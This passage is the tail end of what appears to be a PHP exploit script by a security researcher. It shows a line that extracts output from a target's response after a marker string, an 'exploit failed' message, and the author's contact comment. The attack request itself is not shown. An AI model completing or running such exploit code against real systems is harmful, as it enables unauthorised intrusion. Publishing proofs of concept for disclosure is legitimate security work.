    preg_match('/aeon(.*)/s', $response, $m) ? print $m[1] : die("\n(-) exploit failed!\n");
}

// @aeon_flux_ | aeon.s.flux(at)gmail(.)com | https://infosecabsurdity.wordpress.com/
?>